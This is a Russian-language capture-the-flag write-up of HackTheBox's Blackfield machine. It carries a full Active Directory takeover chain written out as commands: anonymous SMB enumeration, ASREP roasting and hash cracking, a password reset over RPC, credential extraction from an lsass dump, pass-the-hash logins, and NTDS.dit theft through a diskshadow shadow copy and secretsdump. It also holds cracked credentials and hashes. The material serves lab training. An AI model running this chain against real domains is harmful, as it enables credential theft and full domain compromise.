HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию

  • Tutorial

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192 	blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.

smbmap -u anonymous -H 10.10.10.192



И нам доступна для чтения директория profiles$.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2



Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:

  • хеш пароля пользователя;
  • у данного пользователя не выставлено UAF Dont Require PreAuth;
  • такого пользователя нет в базе Kerberos.

Таким образом, мы сможет узнать, кто есть, а кого нет.

Entry Point


Для начала получим список.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt

А теперь выполним ASRep-Roasting.

GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt



И я был удивлен, когда нам вернули хеш. Давайте крякнем его.

john support.hash -w=./tools/rockyou.txt



И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.

enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null



Получим огроменный список непонятных пользователей, но самое интересное — это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.

C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:

rpcclient 10.10.10.192 -U support



Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано тут. И у меня получилось это сделать для пользователя audit2020.

setuserinfo2 audit2020 18 'ralf'



Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.

USER


Идем на SMB.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192



Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R



И в папке forensic\memory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.

smbclient.py blackfield.local/audit2020:ralf@10.10.10.192



Теперь перейдем в Windows машину и используем mimikatz.



И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d



ROOT


Давайте посмотрим группы и привилегии пользователя.



Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится следующие DLL библиотеки.

Давайте сделаем теневую копию. Создадим файл со следующим содержимым.

SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:

И теперь загрузим его и скачанные библиотеки на хост.



Выполним теневое копирование.

diskshadow /s ds.txt





И сдампим файл.

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit



Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.

reg save HKLM\SYSTEM C:\Temp\SYSTEM



Скачиваем оба файла с машины.



И достаем хеши с помощью secretsdump из пакета impacket.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL



Подключимся от имени администратора.

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee




У нас полный контроль над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Комментарии 3

    0
    Правильно ли я понял, что для успешной аутентификации знания пароля пользователя не требуется, а достаточно только иметь его хэш?
      0
      Более подробно: Pass-the-hash
        0
        Спасибо. Не знаете, Kerberos тоже так ломается, или в нем это устранили?

    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

    Самое читаемое